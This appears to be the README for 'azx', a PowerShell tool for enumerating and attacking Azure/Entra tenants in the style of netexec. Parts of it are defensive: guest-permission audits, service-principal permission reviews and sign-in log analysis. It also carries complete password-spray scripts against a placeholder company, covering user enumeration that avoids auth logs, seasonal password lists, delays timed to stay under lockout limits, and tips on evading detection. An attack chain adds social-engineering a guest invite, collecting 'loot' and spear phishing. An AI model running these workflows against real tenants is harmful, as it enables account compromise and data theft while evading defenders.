.\azx.ps1 guest-vuln-scan -ExportPath guest-security-assessment.json
# The scanner performs:
# Phase 1: Unauthenticated checks
# - External collaboration enabled?
# - Tenant configuration
# - Federation status
#
# Phase 2: Authenticated checks (requires login)
# - Guest permission policy level
# - External collaboration settings
# - Test actual guest access to:
# * Users directory
# * Groups
# * Devices
# * Applications
# * Directory Roles
#
# Phase 3: Security assessment report
# - Risk score (0-100)
# - Risk rating (LOW/MEDIUM/HIGH/CRITICAL)
# - Detailed vulnerabilities with recommendations
# - Actionable remediation steps
#
# π΄ Risk-based color coding in vulnerability output:
# - CRITICAL risk (Score β₯ 70) = Guests have same permissions as members
# - HIGH risk (Score β₯ 40) = Guests can enumerate directory resources
# - π‘ MEDIUM risk (Score 20-39) = Partial guest access enabledExample Output:
[*] AZX - Guest User Vulnerability Scanner
[*] Command: Guest-Vuln-Scan (Azure Null Session Security Assessment)
[*] PHASE 1: Unauthenticated Enumeration
AZR targetcorp.com 443 [+] Tenant exists
AZR targetcorp.com 443 [!] External collaboration: ENABLED
[*] PHASE 2: Authenticated Enumeration (Guest Permission Testing)
[+] Connected as: [email protected]
[!] GUEST USER DETECTED - Testing guest permission boundaries
[*] Checking guest permission policy...
[!] WARNING: Guest permissions are not fully restricted
[*] Testing guest access to directory resources...
[+] Users : ACCESSIBLE (Found 10 items)
[+] Groups : ACCESSIBLE (Found 10 items)
[+] Devices : ACCESSIBLE (Found 10 items)
[-] Applications : BLOCKED
[-] DirectoryRoles : BLOCKED
[*] PHASE 3: Security Assessment Report
[*] Overall Risk Score: 65 / 100
[*] Risk Rating: HIGH
[*] Vulnerabilities Found: 5
[HIGH] GuestEnumeration
Description: Guest user can enumerate Users - Azure Null Session equivalent
Recommendation: Review and restrict guest access to Users
Enumerate all groups in the Azure/Entra tenant:
.\azx.ps1 groups
# π΄ Privileged/administrative security groups are automatically highlighted in RED
# Look for groups containing: admin, administrator, privileged, global, etc.
# π’ Standard security groups appear in GREEN
# π‘ Mail-enabled groups appear in YELLOWEnumerate all groups and export to CSV:
.\azx.ps1 groups -ExportPath groups.csvEnumerate groups and display member counts (slower):
.\azx.ps1 groups -ShowOwnersTest what groups a guest user can enumerate:
# Connect as guest user
.\azx.ps1 groups -ExportPath guest-groups.jsonDisplay password policies and security settings:
.\azx.ps1 pass-polExport password policy information to JSON:
.\azx.ps1 pass-pol -ExportPath policy.jsonEnumerate all security-relevant information:
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 pass-pol -ExportPath policy.jsonEnumerate all registered applications and service principals:
.\azx.ps1 appsThis command displays:
- Phase 1: Application registrations with credential status
- Phase 2: Service principals (SPNs) with authentication details
- Summary statistics including security warnings
- π΄ Red highlighting: Applications requesting high-risk Microsoft Graph permissions are automatically highlighted in red
- π‘ Yellow highlighting: Password-only credentials and ROPC-enabled apps are highlighted in yellow
Enumerate applications and export to CSV for offline analysis:
.\azx.ps1 apps -ExportPath apps.csvExport full application and service principal details to JSON:
.\azx.ps1 apps -ExportPath apps.jsonThe JSON export includes:
- Application IDs, display names, and object IDs
- Credential counts (password vs certificate)
- Public client configuration status (ROPC vulnerability indicator)
- Sign-in audience settings
- Redirect URIs (web and public client)
- Service principal types and enabled status
Look for applications with weak authentication:
.\azx.ps1 apps -ExportPath apps.csv
# High-risk applications are automatically highlighted during output:
# - π΄ RED apps = Requesting high-risk permissions (Directory.ReadWrite.All, Application.ReadWrite.All, etc.)
# - π‘ YELLOW apps = Password-only credentials OR ROPC-enabled (password spray vulnerable)
# - π’ GREEN apps = Certificate-based authentication (secure configuration)
# Then analyze the CSV for detailed security analysis:
# - Apps/SPNs with PasswordCredentials > 0 and KeyCredentials = 0 (password-only = vulnerable)
# - Apps with IsFallbackPublicClient = True (ROPC-enabled = password spray vulnerable)
# - Service principals with AccountEnabled = True and password-only credentialsSecurity Warning: Applications and service principals with password-only credentials are vulnerable to credential theft, similar to SMB hosts without signing. Applications requesting high-risk permissions like Directory.ReadWrite.All, Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, or RoleManagement.ReadWrite.Directory pose privilege escalation risks. These are automatically color-coded during enumeration and summarized at the end.
Full application security audit workflow:
# 1. Enumerate all applications and service principals
.\azx.ps1 apps -ExportPath apps-full.json
# 2. Check for vulnerable configurations (from vuln-list command)
.\azx.ps1 vuln-list -ExportPath vuln-report.json
# 3. Analyze results
$apps = Get-Content apps-full.json | ConvertFrom-Json
$passwordOnly = $apps | Where-Object { $_.PasswordCredentials -gt 0 -and $_.KeyCredentials -eq 0 }
$publicClients = $apps | Where-Object { $_.IsFallbackPublicClient -eq $true }
Write-Host "Password-only applications: $($passwordOnly.Count)"
Write-Host "Public client applications (ROPC-enabled): $($publicClients.Count)"Discover all service principals with their permissions and ownership:
.\azx.ps1 sp-discoveryThis command displays:
- Phase 1: Service principal enumeration with credential information
- Phase 2: App role assignments (application permissions) for each SPN
- Phase 3: OAuth2 permission grants (delegated permissions) for each SPN
- Phase 4: Service principal owners
- Detailed permission breakdown for each service principal
- Summary statistics including security warnings
- π΄ Red highlighting: Service principals and permissions with high-risk capabilities are automatically highlighted in red for immediate visibility
Discover service principals and export to CSV for offline analysis:
.\azx.ps1 sp-discovery -ExportPath sp-permissions.csvThe CSV export includes:
- Service principal IDs, app IDs, and display names
- Account status and service principal type
- Credential counts (password vs certificate)
- App role assignment count and details
- OAuth2 permission grant count and details
- Owner count and owner names
Export full service principal permission details to JSON:
.\azx.ps1 sp-discovery -ExportPath sp-permissions.jsonThe JSON export includes comprehensive data:
- All basic service principal properties
- Full app role assignments with resource mappings
- Complete OAuth2 permission grants with scope details
- Owner information (display names and types)
- Security risk indicators
Look for service principals with dangerous permissions:
.\azx.ps1 sp-discovery -ExportPath sp-perms.csv
# High-risk service principals are automatically highlighted in RED during output
# Look for:
# - π΄ RED service principals = Have high-risk permissions (RoleManagement, Application.ReadWrite, etc.)
# - π‘ YELLOW service principals = Password-only credentials (vulnerable to credential theft)
# - π’ GREEN service principals = Standard permissions with certificate-based auth
# Then analyze the CSV for detailed security analysis:
# - SPNs with PasswordCredentials > 0 and KeyCredentials = 0 (password-only = vulnerable)
# - SPNs with high AppRoleCount (many permissions = potential privilege escalation)
# - SPNs with OAuth2Permissions containing "RoleManagement" or "Application.ReadWrite"
# - SPNs with OwnerCount = 0 (orphaned service principals)Security Warning: Service principals with password-only credentials are vulnerable to credential theft. Service principals with high-risk permissions like RoleManagement.ReadWrite.Directory, Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, or Directory.ReadWrite.All can be used for privilege escalation. These are automatically highlighted in RED during enumeration and summarized at the end.
Full service principal security audit workflow:
# 1. Discover all service principals with permissions
.\azx.ps1 sp-discovery -ExportPath sp-full.json
# 2. Analyze results for security risks
$spns = Get-Content sp-full.json | ConvertFrom-Json
$passwordOnly = $spns | Where-Object { $_.PasswordCredentials -gt 0 -and $_.KeyCredentials -eq 0 }
$highPermissions = $spns | Where-Object { $_.AppRoleCount -gt 5 -or $_.OAuth2PermissionCount -gt 5 }
$orphaned = $spns | Where-Object { $_.OwnerCount -eq 0 }
Write-Host "Password-only service principals: $($passwordOnly.Count)"
Write-Host "Service principals with high permissions: $($highPermissions.Count)"
Write-Host "Orphaned service principals (no owners): $($orphaned.Count)"
# 3. Identify privilege escalation paths
$dangerousPerms = $spns | Where-Object {
$_.OAuth2Permissions -match "RoleManagement|Application.ReadWrite|Directory.ReadWrite"
}
Write-Host "Service principals with dangerous permissions: $($dangerousPerms.Count)"
$dangerousPerms | Select-Object DisplayName, AppId, OAuth2Permissions | Format-TableIdentify who owns which service principals:
.\azx.ps1 sp-discovery -ExportPath sp-owners.json
# Analyze ownership patterns
$spns = Get-Content sp-owners.json | ConvertFrom-Json
$withOwners = $spns | Where-Object { $_.OwnerCount -gt 0 }
$multiOwner = $spns | Where-Object { $_.OwnerCount -gt 1 }
Write-Host "Service principals with owners: $($withOwners.Count)"
Write-Host "Service principals with multiple owners: $($multiOwner.Count)"
# Group by owner
$spns | Where-Object { $_.Owners } |
ForEach-Object { $_.Owners -split '; ' } |
Group-Object |
Sort-Object Count -Descending |
Select-Object Name, Count |
Format-TableCheck if a tenant accepts external/guest authentication:
.\azx.ps1 guest -Domain targetcorp.comCheck guest configuration for your current tenant (domain auto-detected):
.\azx.ps1 guestTest if accounts accept empty passwords:
.\azx.ps1 guest -Domain targetcorp.com -Username admin -Password ''
.\azx.ps1 guest -Domain targetcorp.com -Username admin@targetcorp.com -Password ''Test a specific username/password combination:
.\azx.ps1 guest -Domain targetcorp.com -Username alice@targetcorp.com -Password 'Summer2024!'Test one password against multiple usernames:
.\azx.ps1 guest -Domain targetcorp.com -UserFile users.txt -Password 'Winter2024!'Test credentials from a file (format: username:password per line):
.\azx.ps1 guest -Domain targetcorp.com -UserFile creds.txtFile format example (creds.txt):
admin:Password123
alice:Summer2024!
[email protected]:Winter2024!
Test credentials and export results:
.\azx.ps1 guest -Domain targetcorp.com -UserFile users.txt -Password 'Password123' -ExportPath spray-results.jsonThe most effective password spray attacks combine username enumeration with credential testing in a two-phase approach:
Full workflow using common administrator accounts:
# Phase 1: Enumerate valid usernames (GetCredentialType - no authentication logs)
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
# Phase 2: Extract valid usernames
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File -FilePath spray-targets.txt
Write-Host "Found $($validUsers.Count) valid usernames for spraying"
# Phase 3: Password spray with seasonal password
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-results.json
# Phase 4: Analyze results
$results = Get-Content spray-results.json | ConvertFrom-Json
$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$mfaAccounts = $results.AuthResults | Where-Object { $_.MFARequired -eq $true }
Write-Host "`nValid Credentials Found: $($validCreds.Count)"
Write-Host "Accounts with MFA: $($mfaAccounts.Count)"
$validCreds | Format-Table Username, MFARequired, HasTokenUsing a custom list of identified users:
# Assume you've collected usernames from OSINT, LinkedIn, company website, etc.
# Create a file: executives.txt with usernames (one per line)
# Phase 1: Validate which usernames actually exist
.\azx.ps1 users -Domain targetcorp.com -UserFile executives.txt -ExportPath validated-execs.csv
# Phase 2: Spray only against valid accounts
$validExecs = Import-Csv validated-execs.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validExecs | Out-File -FilePath valid-executives.txt
# Phase 3: Test with company-specific password pattern
.\azx.ps1 guest -Domain targetcorp.com -UserFile valid-executives.txt -Password 'TargetCorp2024!' -ExportPath exec-spray.jsonTesting multiple passwords sequentially (with delays to avoid lockouts):
# Validate usernames first
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File spray-targets.txt
# Password list (seasonal passwords + common patterns)
$passwords = @(
'Summer2024!',
'Winter2024!',
'Spring2024!',
'Fall2024!',
'Password123!',
'Welcome123!',
'TargetCorp2024!'
)
# Spray each password with 30-minute delay between rounds
foreach ($password in $passwords) {
Write-Host "`n[*] Testing password: $password"
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password $password -ExportPath "spray-$password.json"
# Wait 30 minutes before next password (avoid account lockouts)
if ($password -ne $passwords[-1]) {
Write-Host "[*] Waiting 30 minutes before next password spray..."
Start-Sleep -Seconds 1800 # 30 minutes
}
}
# Consolidate all results
$allResults = @()
foreach ($password in $passwords) {
$result = Get-Content "spray-$password.json" | ConvertFrom-Json
$validCreds = $result.AuthResults | Where-Object { $_.Success -eq $true }
$allResults += $validCreds
}
Write-Host "`n[+] Total valid credentials found: $($allResults.Count)"
$allResults | Format-Table Username, Password, MFARequired, HasTokenIntelligent spraying that respects common lockout policies:
# Most organizations lock accounts after 5-10 failed attempts
# Spray only 1 password per day to stay under threshold
# Day 1: Validate usernames
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File spray-targets.txt
# Day 1: Test most common password
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-day1.json
# Day 2: Test second most common (24 hours later)
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Winter2024!' -ExportPath spray-day2.json
# Day 3: Test company-specific pattern
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'TargetCorp2024!' -ExportPath spray-day3.json
# Analyze results after campaign
$day1 = Get-Content spray-day1.json | ConvertFrom-Json
$day2 = Get-Content spray-day2.json | ConvertFrom-Json
$day3 = Get-Content spray-day3.json | ConvertFrom-Json
$allValidCreds = @()
$allValidCreds += $day1.AuthResults | Where-Object { $_.Success }
$allValidCreds += $day2.AuthResults | Where-Object { $_.Success }
$allValidCreds += $day3.AuthResults | Where-Object { $_.Success }
Write-Host "[+] Campaign complete - Valid credentials: $($allValidCreds.Count)"
$allValidCreds | Export-Csv campaign-results.csv -NoTypeInformationTesting specific username/password combinations:
# Create a file (creds.txt) with format: username:password
# admin:Password123
# alice:Summer2024!
# [email protected]:Welcome2024!
# Test all credentials at once
.\azx.ps1 guest -Domain targetcorp.com -UserFile creds.txt -ExportPath cred-test-results.json
# Analyze what worked
$results = Get-Content cred-test-results.json | ConvertFrom-Json
$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$mfaRequired = $validCreds | Where-Object { $_.MFARequired -eq $true }
$fullAccess = $validCreds | Where-Object { $_.HasToken -eq $true }
Write-Host "`nValid Credentials: $($validCreds.Count)"
Write-Host "Full Access (no MFA): $($fullAccess.Count)"
Write-Host "MFA Required: $($mfaRequired.Count)"Complete workflow with result analysis and reporting:
# Comprehensive password spray with analysis
$domain = "targetcorp.com"
$password = "Summer2024!"
# Step 1: Username enumeration
Write-Host "[*] Phase 1: Enumerating valid usernames..."
.\azx.ps1 users -Domain $domain -CommonUsernames -ExportPath users-enum.csv
# Step 2: Extract valid usernames
$validUsers = Import-Csv users-enum.csv | Where-Object { $_.Exists -eq 'True' }
Write-Host "[+] Found $($validUsers.Count) valid usernames"
$validUsers.Username | Out-File spray-targets.txt
# Step 3: Password spray
Write-Host "[*] Phase 2: Password spraying..."
.\azx.ps1 guest -Domain $domain -UserFile spray-targets.txt -Password $password -ExportPath spray-results.json
# Step 4: Analyze results
$results = Get-Content spray-results.json | ConvertFrom-Json
$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$invalidCreds = $results.AuthResults | Where-Object { $_.Success -eq $false }
$mfaRequired = $results.AuthResults | Where-Object { $_.MFARequired -eq $true }
$lockedAccounts = $results.AuthResults | Where-Object { $_.ErrorCode -eq 'ACCOUNT_LOCKED' }
# Step 5: Generate report
$report = @"
=================================================
PASSWORD SPRAY ATTACK REPORT
=================================================
Target Domain: $domain
Test Password: $password
Date: $(Get-Date -Format "yyyy-MM-dd HH:mm:ss")
RESULTS SUMMARY
-------------------------------------------------
Total Usernames Tested: $($results.AuthResults.Count)
Valid Credentials Found: $($validCreds.Count)
- Full Access (no MFA): $($validCreds.Count - $mfaRequired.Count)
- MFA Required: $($mfaRequired.Count)
Invalid Credentials: $($invalidCreds.Count)
Locked Accounts: $($lockedAccounts.Count)
VALID CREDENTIALS
-------------------------------------------------
$($validCreds | ForEach-Object { " [+] $($_.Username) - MFA: $($_.MFARequired)" } | Out-String)
RECOMMENDATIONS
-------------------------------------------------
"@
if ($validCreds.Count -gt 0) {
$report += " [!] CRITICAL: Valid credentials found!`n"
$report += " [*] Next steps:`n"
$report += " 1. Test accounts without MFA for full access`n"
$report += " 2. Attempt MFA bypass techniques for MFA-protected accounts`n"
$report += " 3. Use valid credentials for further enumeration`n"
}
if ($lockedAccounts.Count -gt 0) {
$report += "`n [!] WARNING: $($lockedAccounts.Count) accounts locked during spray`n"
$report += " [*] Consider longer delays between attempts`n"
}
$report += "`n=================================================`n"
Write-Host $report
$report | Out-File "spray-report-$(Get-Date -Format 'yyyyMMdd-HHmmss').txt"
Write-Host "`n[+] Report saved to: spray-report-$(Get-Date -Format 'yyyyMMdd-HHmmss').txt"Why This Two-Phase Approach is Effective:
- Stealth: GetCredentialType doesn't trigger authentication logs (Phase 1)
- Efficiency: Only spray against validated usernames (avoid wasted attempts)
- Safety: Reduces account lockout risk by testing fewer invalid usernames
- Intelligence: Separate enumeration from credential testing for better OPSEC
- Speed: Validate 100s of usernames quickly, then spray only valid targets
Detection Considerations:
| Activity | Detection Risk | SIEM Alert Likelihood | Mitigation |
|---|---|---|---|
| GetCredentialType enumeration | π’ Low | Low - No auth logs generated | Use residential IP, rate-limit requests |
| ROPC password spray | π‘ Medium | Medium - Failed auth logs | Slow spray (1 password/day), respect lockout thresholds |
| Multiple password spray rounds | π΄ High | High - Pattern detection | Long delays between passwords (24+ hours) |
| Account lockouts | π΄ Critical | Critical - Immediate SOC alert | Test minimal passwords, monitor for lockouts |
Query sign-in logs for all users in the last 24 hours:
.\azx.ps1 sessionsOutput Shows:
- Recent sign-in events (last 24 hours)
- User principal names and display names
- Success/failure status
- Device information (name, OS, browser)
- IP addresses and geographic locations
- Application accessed
- MFA status
- Risk levels (if Identity Protection is enabled)
Enumerate sessions for a specific user:
.\azx.ps1 sessions -Username alice@targetcorp.comUse Case: Track sign-in activity for a compromised or suspicious account.
Export all session data for analysis:
.\azx.ps1 sessions -ExportPath sessions.csvExport with complete session metadata:
.\azx.ps1 sessions -ExportPath sessions.jsonQuery sign-in events for the last 7 days:
.\azx.ps1 sessions -Hours 168Note: Free Azure AD retains logs for 7 days, Premium P1/P2 for 30 days.
Query sign-in events for the last 30 days (requires Premium license):
.\azx.ps1 sessions -Hours 720Investigate specific user over extended period:
.\azx.ps1 sessions -Username alice@targetcorp.com -Hours 168 -ExportPath alice_7day_activity.csvUse Case: Track user activity patterns over a week for incident response or insider threat investigation.
Query only recent sign-ins (last hour):
.\azx.ps1 sessions -Hours 1Use Case: Monitor active sessions during an ongoing incident or during a penetration test.
What Sessions Shows:
| Information | Description | Security Value |
|---|---|---|
| Timestamp | When the sign-in occurred | Timeline for incident response |
| User | UserPrincipalName | Identify compromised accounts |
| Status | Success/Failed | Spot brute force attempts |
| Device Info | Name, OS, Browser | Detect unusual devices |
| IP Address | Source IP | Geolocation tracking |
| Location | City, Country | Detect impossible travel |
| Application | App accessed | Identify lateral movement |
| MFA Status | Required/Not Required | Find MFA bypass attempts |
| Risk Level | Low/Medium/High | Identity Protection alerts |
Detection Use Cases:
| Scenario | What to Look For | Command |
|---|---|---|
| Compromised Account | Multiple failed logins, unusual locations | .\azx.ps1 sessions -Username [email protected] |
| Insider Threat | Access to unusual applications, off-hours activity | .\azx.ps1 sessions (review all users) |
| Brute Force Detection | Many failed login attempts from same IP | .\azx.ps1 sessions -ExportPath logs.csv (analyze in Excel) |
| Impossible Travel | Sign-ins from different countries within short time | Review location data in exported results |
| MFA Bypass | Successful logins without MFA where it should be required | Check MFA status in output |
Azure Equivalent to qwinsta:
Traditional qwinsta shows who's logged into a Windows machine locally. In Azure/cloud environments, this translates to:
- Sign-in logs = Active authentication sessions
- IP address = Remote connection source
- Device info = Client machine details
- Application = What service/resource was accessed
Time Range Configuration:
- Default: Last 24 hours (
-Hours 24) - Configurable: Use
-Hoursparameter (e.g.,-Hours 168for 7 days) - Azure AD log retention:
- Free tier: 7 days (max
-Hours 168) - Premium P1/P2: 30 days (max
-Hours 720)
- Free tier: 7 days (max
Permission Requirements:
- Requires
AuditLog.Read.Allpermission - Guest users typically cannot access sign-in logs
- Must be authenticated (unlike unauthenticated commands like
usersortenant)
Common Time Ranges:
-Hours 1- Last hour (real-time monitoring)-Hours 24- Last day (default)-Hours 168- Last week (7 days)-Hours 720- Last 30 days (requires Premium)
Enumerate vulnerable targets in your current tenant:
.\azx.ps1 vuln-list
# Summary automatically shows risk-based color coding:
# - π΄ HIGH RISK findings (ROPC enabled, dangerous permissions, no MFA, etc.)
# - π‘ MEDIUM RISK findings (Security Defaults off, stale guests, etc.)
# - βͺ LOW RISK findings (informational items)Enumerate vulnerabilities for a specific domain:
.\azx.ps1 vuln-list -Domain targetcorp.comExport only HIGH risk findings in a simple format (like nxc --gen-relay-list):
.\azx.ps1 vuln-list -ExportPath relay_targets.txtExport all findings with full details:
.\azx.ps1 vuln-list -ExportPath vuln_report.json.\azx.ps1 vuln-list -Domain targetcorp.com -ExportPath findings.csvWhat vuln-list Checks:
| Check | Phase | Risk | Description |
|---|---|---|---|
| Implicit Flow | Unauth | MEDIUM | OAuth implicit flow enabled (token theft risk) |
| ROPC Enabled | Unauth | HIGH | Password spray/brute force possible |
| Legacy Auth Endpoints | Unauth | INFO | Legacy protocols accessible |
| Password-Only SPs | Auth | HIGH | Service principals without certificate auth |
| Public Client Apps | Auth | MEDIUM | Applications allowing ROPC/device code |
| Security Defaults | Auth | MEDIUM | Security Defaults disabled |
| Legacy Auth Blocking | Auth | HIGH | No CA policy blocking legacy auth |
| Stale Guest Accounts | Auth | MEDIUM | Guests with no activity 90+ days |
| Dangerous Permissions | Auth | HIGH | Apps with high-risk API permissions |
| Guest Permission Level | Auth | HIGH/MEDIUM | Guests with excessive permissions (null session equivalent) |
| Users Without MFA | Auth | HIGH | Users without any MFA method registered |
| Guest Invite Policy | Auth | MEDIUM | Anyone (including guests) can invite external users |
Complete attack chain using guest enumeration:
# PHASE 1: External Recon (No credentials)
.\azx.ps1 tenant -Domain targetcorp.com -ExportPath recon/tenant.json
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath recon/valid-users.csv
# Identify potential guest access opportunities from recon
# Social engineer way into getting invited as "vendor" or "consultant"
# PHASE 2: Guest Enumeration (Low-noise, minimal detection)
.\azx.ps1 hosts -ShowOwners -ExportPath loot/devices.json
.\azx.ps1 groups -ExportPath loot/groups.json
.\azx.ps1 pass-pol -ExportPath loot/policy.json
Get-MgUser -All | Export-Csv loot/all-users.csv
# Analyze results offline:
# - Identify high-value targets (executives, admins)
# - Map device ownership and relationships
# - Find non-compliant or legacy devices
# - Identify privileged accounts
# PHASE 3: Targeted Attack
# Use gathered intelligence for:
# - Spear phishing campaigns
# - Password spraying against high-value accounts
# - Credential stuffing with leaked passwords
# - Exploitation of unpatched devicesThe tool provides netexec-style output with the following information:
AZR example.com 443 [email protected] [+] Valid username (Managed)
AZR example.com 443 [email protected] [-] Invalid username
AZR example.com 443 [email protected] [+] Valid username (Federated)
Color Coding:
- Green: Valid username found (exists in tenant)
- Dark Gray: Invalid username (does not exist)
- Red: Check failed (network/API error)
Authentication Types:
- Managed: Standard cloud-managed authentication
- Federated: Federated authentication (e.g., ADFS)
- Alternate: Alternative authentication method
Enhanced Summary Statistics (v2.0):
[*] Username enumeration complete!
[*] Summary:
Total Checked: 250
Valid Users: 87
Invalid Users: 161
Failed Checks: 2
Duration: 00m 25s
Rate: 10.0 checks/sec
[*] Authentication Type Breakdown:
Managed: 45
Federated: 38
Alternate: 4
[*] Valid Usernames Found:
[+] [email protected] (Managed)
[+] [email protected] (Managed)
[+] [email protected] (Federated)
...
[*] Next Steps:
To perform password spraying with these valid users:
1. Extract valid users: $users = Import-Csv 'results.csv' | Where { $_.Exists -eq 'True' } | Select -ExpandProperty Username
2. Save to file: $users | Out-File spray-targets.txt
3. Run spray: .\azx.ps1 guest -Domain example.com -UserFile spray-targets.txt -Password 'YourPassword123!'
Features:
- Total usernames checked
- Valid/invalid breakdown with failed checks tracked separately
- Duration and enumeration rate (users/sec)
- Authentication type breakdown (Managed/Federated/Alternate)
- List of all valid usernames with their auth types
- Automatic next steps guidance for password spraying workflow
AZR a1b2c3d4e5f6 443 John Smith [*] (upn:[email protected]) (job:Senior Engineer) (dept:IT) (type:Member) (status:Enabled) (location:Seattle) (lastSignIn:2025-12-10)
AZR f6e5d4c3b2a1 443 Jane Doe [*] (upn:[email protected]) (job:Marketing Manager) (dept:Marketing) (type:Member) (status:Enabled) (location:New York) (lastSignIn:2025-12-12)
AZR 1234567890ab 443 External Vendor [*] (upn:[email protected]#EXT#@examp...) (job:N/A) (dept:N/A) (type:Guest) (status:Enabled) (location:N/A) (lastSignIn:2025-11-20)
AZR abcdef123456 443 Test Account [*] (upn:[email protected]) (job:N/A) (dept:N/A) (type:Member) (status:Disabled) (location:N/A) (lastSignIn:Never/Unknown)
Color Coding:
- Green: Active member users (enabled accounts)
- Yellow: Guest users (external/B2B users)
- Dark Gray: Disabled accounts
User Information Displayed:
- UPN: User Principal Name (email/login)
- Job: Job title
- Dept: Department
- Type: Member (internal) or Guest (external/B2B)
- Status: Enabled or Disabled
- Location: Office location
- LastSignIn: Last sign-in date (requires AuditLog.Read.All permission)
Summary Statistics:
- Total users found
- Member users count
- Guest users count
- Enabled accounts count
- Disabled accounts count
AZR example.com 443 [*] Tenant Discovery
[+] Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
[+] Issuer: https://login.microsoftonline.com/{tenant-id}/v2.0
[+] Authorization Endpoint: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize
[+] Token Endpoint: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token
[+] UserInfo Endpoint: https://graph.microsoft.com/oidc/userinfo
[+] End Session Endpoint: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/logout
[+] JWKS URI: https://login.microsoftonline.com/{tenant-id}/discovery/v2.0/keys
[+] Tenant Region Scope: NA
[+] Cloud Instance: microsoftonline.com
[+] Graph Host: graph.microsoft.com
[+] Federation Status: Managed
[*] Supported Response Types: code, id_token, token, id_token token
[*] Supported Scopes: openid, profile, email, offline_access
[*] Supported Claims: 45 claims available
[*] Enumerating exposed applications and configurations...
[!] Implicit flow enabled (security consideration)
[*] Supported Grant Types:
- authorization_code
- refresh_token
- client_credentials
[!] Note: client_credentials grant type enabled
[*] Probing for exposed application information...
[+] Accessible endpoint: https://graph.microsoft.com/.well-known/openid-configuration
[*] Security Findings:
[!] Potential Misconfigurations: 1
- Implicit flow enabled (potential security risk)
Information Retrieved:
-
Basic Configuration:
- Tenant ID (GUID)
- Authentication and authorization endpoints
- Token endpoints
- JWKS URI for token validation
- Tenant region and cloud instance
- Federation status (Managed vs Federated)
- Supported response types, scopes, and claims
-
Security Enumeration (mimics
nxc smb --enum):- Exposed application IDs and client configurations
- Publicly accessible redirect URIs
- OAuth/OIDC misconfigurations and security risks
- Enabled grant types and their security implications
- Accessible federation metadata
- Implicit flow detection (potential XSS/token leakage risks)
- Risky grant types (password grants, client credentials)
Color Coding:
- Green: Secure configurations or successfully retrieved information
- Yellow: Security considerations, warnings, or potential misconfigurations
- Cyan: Standard information and metadata
- Dark Gray: Additional technical details
AZR <DeviceID> 443 <DeviceName> [*] <OS> <Version> (name:<FullName>) (trust:<Type>) (compliant:<True/False>) (enabled:<True/False>) (owner:<Owner>)
Color Coding:
- Cyan: Normal, enabled, compliant devices
- Yellow: Non-compliant devices
- Dark Gray: Disabled devices
Summary Statistics:
- Total devices found
- Windows devices count
- Azure AD joined devices count
- Hybrid joined devices count
- Compliant devices count
- Enabled devices count
AZR <GroupID> 443 <GroupName> [*] (name:<FullName>) (type:<GroupTypes>) (security:<True/False>) (mail:<True/False>) (members:<Count>) (desc:<Description>)
Example:
AZR a1b2c3d4e5f6 443 IT Administrators [*] (name:IT Administrators) (type:Security) (security:True) (mail:False) (members:15) (desc:IT department admins)
AZR f6e5d4c3b2a1 443 Marketing Team [*] (name:Marketing Team) (type:Unified) (security:False) (mail:True) (members:42) (desc:Marketing department)
Color Coding:
- Green: Security groups (SecurityEnabled = True)
- Yellow: Mail-enabled groups
- Cyan: Other group types
Group Types:
- Security: Security groups (used for access control)
- Unified: Microsoft 365 groups
- DynamicMembership: Dynamic groups with automatic membership
AZR <AppID> 443 <ApplicationName> [*] (name:<FullName>) (type:<App/SPN>) (creds:<Type> [Count]) (audience:<Audience>) (publicClient:<True/False>)
Example:
AZR a1b2c3d4e5f6 443 Corporate Web App [*] (name:Corporate Web App) (type:App) (creds:Certificate [2]) (audience:AzureADMyOrg) (publicClient:False)
AZR f6e5d4c3b2a1 443 Legacy API Service [*] (name:Legacy API Service) (type:SPN) (creds:Password [1]) (audience:AzureADMultipleOrgs) (publicClient:False)
AZR 1234567890ab 443 Mobile App [*] (name:Mobile App) (type:App) (creds:None [0]) (audience:AzureADandPersonalMicrosoftAccount) (publicClient:True)
Color Coding:
- Green: Certificate-based authentication (secure)
- Yellow: Password-only credentials (vulnerable) OR public client enabled (ROPC-enabled)
AZR <SPNID> 443 <ServicePrincipalName> [*] (appId:<AppID>) (type:<Type>) (status:<Enabled/Disabled>) (pwdCreds:<Count>) (certCreds:<Count>) (appRoles:<Count>) (delegated:<Count>) (owners:<Count>)
[+] Application Permissions (App Roles):
[-] <ResourceName> : <PermissionName> (ID: <RoleID>)
[+] Delegated Permissions (OAuth2):
[-] <ResourceName> : <Scope> (ConsentType: <Type>)
[+] Owners:
[-] <OwnerName> [<OwnerType>] (<UPN if user>)
Example:
AZR a1b2c3d4e5f6 443 Corporate Automation SPN [*] (appId:12345678-1234-1234-1234-123456789012) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:0) (appRoles:3) (delegated:2) (owners:1)
[+] Application Permissions (App Roles):
[-] Microsoft Graph : User.Read.All (ID: df021288-bdef-4463-88db-98f22de89214)
